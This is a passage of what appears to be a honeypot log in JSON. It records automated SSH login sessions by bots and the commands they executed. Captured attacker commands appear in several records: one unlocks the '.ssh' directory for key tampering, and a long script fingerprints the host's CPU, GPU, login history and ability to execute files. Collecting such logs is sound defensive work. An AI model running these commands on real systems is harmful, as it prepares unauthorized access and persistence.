  "started_at": "2026-08-26T16:47:23.969690+00:00",
  "ended_at": "2026-08-26T16:47:25.627125+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "14d2c5e0-4cee-431f-a08b-00f00f13c674",
  "name": "sooty-reedy-tanager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 43472,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:47:21.658223+00:00",
  "ended_at": "2026-08-26T16:47:22.890316+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a658bcf5-063f-4dff-8e9a-afd117f622cb",
  "name": "sturdy-glacial-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 54946,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 499,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:44:52.681323+00:00",
  "ended_at": "2026-08-26T16:44:54.097677+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2236
 },
 {
  "id": "4bbebc15-b4e6-4b19-b9ad-008fad19603a",
  "name": "quaint-blunt-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 33408,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:44:34.007144+00:00",
  "ended_at": "2026-08-26T16:44:35.729672+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "097eaef9-bb9a-437d-a128-a58c78fa598a",
  "name": "crisp-somber-ibex",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 54960,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:44:31.119620+00:00",
  "ended_at": "2026-08-26T16:44:32.930720+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dc749601-cd80-4f73-991b-77c916554db9",
  "name": "crystal-sandy-siskin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 56228,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 526,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:41:54.034654+00:00",
  "ended_at": "2026-08-26T16:41:55.391110+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2227
 },
 {
  "id": "cdcf1c98-36d6-4880-87e8-7ba3d67ebaa5",
  "name": "creaky-hearty-jerboa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 59816,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:41:36.145122+00:00",
  "ended_at": "2026-08-26T16:41:37.120210+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5f49d22c-029c-4756-be50-07286007744e",
  "name": "breezy-nimble-avocet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 56236,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:41:33.442868+00:00",
  "ended_at": "2026-08-26T16:41:35.095359+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aa577128-fbd9-4d0c-a524-a90f0e2dc9ac",
  "name": "ivory-somber-gazelle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 59667,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:39:28.344084+00:00",
  "ended_at": "2026-08-26T16:39:33.580539+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0cf5ac88-aba7-4987-86b4-c7729d5c142d",
  "name": "sincere-lively-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 40512,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 522,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:39:02.987858+00:00",
  "ended_at": "2026-08-26T16:39:04.412047+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2214
 },
 {
  "id": "1f638260-5820-4014-83e7-11f9ff04d88e",
  "name": "lawful-fierce-narwhal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 41660,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:38:43.629636+00:00",
  "ended_at": "2026-08-26T16:38:45.607632+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "09e12951-c33e-4d9f-aea1-dc0b799da85c",
  "name": "rugged-alpine-firefly",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 40518,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:38:41.441745+00:00",
  "ended_at": "2026-08-26T16:38:42.577002+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dfe32516-dbf5-44c6-aa2a-50a49dc95018",
  "name": "graceful-smooth-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 35794,
  "username": "paid",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 527,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:36:02.128642+00:00",
  "ended_at": "2026-08-26T16:36:03.176412+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2148
 },
 {
  "id": "66a97333-707c-4226-abbe-facf756ed8c2",
  "name": "cunning-gleaming-galago",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 47654,
  "username": "paid",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:35:43.697397+00:00",
  "ended_at": "2026-08-26T16:35:45.264008+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "00e98c4e-b2c8-491d-b9f9-2b4605821877",
  "name": "fleeting-snowy-goldfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 35802,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:35:41.884023+00:00",
  "ended_at": "2026-08-26T16:35:42.638610+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b91537f6-9ff1-4eeb-af5b-04d617557b37",
  "name": "airy-honest-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 40950,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 496,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:33:02.375277+00:00",
  "ended_at": "2026-08-26T16:33:03.404191+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2194
 },
 {
  "id": "fb5e7a6c-f421-4d3e-be65-33e066c5b07c",
  "name": "inland-vigilant-jerboa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 40966,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:32:43.559475+00:00",
  "ended_at": "2026-08-26T16:32:44.690765+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "067f93ba-5020-4c08-af5e-c61b27d3ce85",
  "name": "gritty-early-wheatear",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 40952,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:32:40.783989+00:00",
  "ended_at": "2026-08-26T16:32:42.510712+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "54682550-b0d7-4281-9ab1-bb6c4564acb7",
  "name": "vaulted-dapper-gazelle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 59125,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:30:54.528168+00:00",
  "ended_at": "2026-08-26T16:30:56.431939+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "75affbd1-c17d-485c-9aea-c1c42dbbde55",
  "name": "painted-graceful-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 36700,
  "username": "karen",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 528,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:29:58.222822+00:00",
  "ended_at": "2026-08-26T16:29:59.668350+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2135
 },
 {
  "id": "643631d5-b431-48b3-b27a-883a0e35a5d1",
  "name": "mighty-eager-shrike",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 36720,
  "username": "karen",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:29:40.351163+00:00",
  "ended_at": "2026-08-26T16:29:41.271865+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0929f6ba-2049-48b5-8fa7-9f1495b65fe4",
  "name": "ivory-misty-squirrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 36704,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:29:37.670666+00:00",
  "ended_at": "2026-08-26T16:29:39.305389+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "71691eb3-7168-421c-acf7-6bcf0bac173e",
  "name": "civil-freckled-teal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.67",
  "src_port": 40808,
  "username": "ftp",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:27:47.407652+00:00",
  "ended_at": "2026-08-26T16:27:47.809859+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "655e187b-1b6c-4f6f-b8d0-b41b99e7244f",
  "name": "patient-early-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 51188,
  "username": "wildfly",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 529,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:27:02.283756+00:00",
  "ended_at": "2026-08-26T16:27:03.790352+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2122
 },
 {
  "id": "89a1bd35-e268-4c97-b59d-54a814a726eb",
  "name": "valiant-inland-narwhal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 51202,
  "username": "wildfly",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:26:42.998109+00:00",
  "ended_at": "2026-08-26T16:26:43.810826+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9d1eeb71-18cc-4a26-98de-a23d50c15ea2",
  "name": "indigo-shifting-yak",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 51192,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:26:39.930556+00:00",
  "ended_at": "2026-08-26T16:26:41.943191+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "83cb3fcf-26a7-420f-835e-b27719a43865",
  "name": "supple-civil-capuchin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 58921,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:25:28.869333+00:00",
  "ended_at": "2026-08-26T16:25:34.526221+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7309f578-a866-4771-bdff-e5bd2781e96b",
  "name": "blunt-honest-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 37414,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 512,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:24:06.570257+00:00",
  "ended_at": "2026-08-26T16:24:08.047062+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2159
 },
 {
  "id": "6d822c0c-0235-4c47-b7ed-0acd847d819a",
  "name": "dutiful-creaky-gibbon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 45270,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:23:47.590579+00:00",
  "ended_at": "2026-08-26T16:23:49.508885+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "67fe9fbc-ffcd-4f82-a22c-b9488fe36604",
  "name": "verdant-civil-chamois",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 45256,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:23:44.520529+00:00",
  "ended_at": "2026-08-26T16:23:46.479881+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "842f334a-abc8-4931-ac51-7e60eebf46c6",
  "name": "marbled-prickly-tern",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "20.52.41.200",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:21:21.792091+00:00",
  "ended_at": "2026-08-26T16:36:59.331721+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "59f849ca-0769-4f62-ae81-c5fda7b7d22f",
  "name": "bronzed-tender-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 44514,
  "username": "radio",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 529,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:21:13.077028+00:00",
  "ended_at": "2026-08-26T16:21:14.094126+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2096
 },
 {
  "id": "7fc1f17a-5eb4-4d09-b8eb-2d2f9757f404",
  "name": "inland-silent-muntjac",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 59668,
  "username": "radio",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:20:54.296234+00:00",
  "ended_at": "2026-08-26T16:20:55.670189+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c3896b4e-be54-4eb5-9fc4-fae099863092",
  "name": "honest-burly-porcupine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 44516,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:20:51.387092+00:00",
  "ended_at": "2026-08-26T16:20:53.220556+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1fc75d50-bf66-43fc-8c41-28fb77d086c2",
  "name": "merry-boreal-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 35354,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T16:20:17.693462+00:00",
  "ended_at": "2026-08-26T16:20:18.128916+00:00",
  "ended_reason": "exec complete",
  "commands": 3,
  "transcript_bytes": 9819
 },
 {
  "id": "c2ad3376-8caf-4624-8dd2-ec45d7cb9756",
  "name": "coastal-regal-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 60766,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T16:18:25.226591+00:00",
  "ended_at": "2026-08-26T16:18:25.362869+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "bd8328f6-a8fc-4fe2-bc07-df1da51a5910",
  "name": "blithe-weathered-manatee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 40810,
  "username": "controlm",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
